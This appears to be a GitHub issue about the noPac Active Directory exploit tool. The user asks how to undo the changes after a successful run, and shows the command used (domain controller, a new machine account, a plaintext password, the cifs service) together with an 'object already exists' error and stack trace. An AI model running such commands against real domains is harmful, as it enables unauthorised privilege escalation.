reset original state after successful exploitation
ggg4566 opened this issue · 0 comments
ggg4566 commented
Can the original state be restored after successful exploitation? An error "The object
already exists." occurs when using it for the second time?
/dc DC.whoamianony.org /mAccount demo12 /mPassword Password123! /service cifs /p
tt
[+] Distinguished Name = CN=demo12,CN=Computers,DC=whoamianony,DC=org
[+] Machine account demo12 added
[+] Machine account demo12 attribute serviceprincipalname cleared
System.DirectoryServices.DirectoryServicesCOMException (0x80071392): The object
already exists.
at System.DirectoryServices.DirectoryEntry.CommitChanges()
at noPac.Program.SetMachineAccountAttribute(String container, String distingu
ishedName, String domain, String domainController, String attribute, String mach
ineAccount, String value, Boolean append, Boolean clear, Boolean verbose, Networ
kCredential credential)
Unhandled Exception: System.DirectoryServices.DirectoryServicesCOMException: The
object already exists.
at System.DirectoryServices.DirectoryEntry.CommitChanges()
at noPac.Program.SetMachineAccountAttribute(String container, String distingu
ishedName, String domain, String domainController, String attribute, String mach
ineAccount, String value, Boolean append, Boolean clear, Boolean verbose, Networ
kCredential credential)
at noPac.Program.Main(String[] args)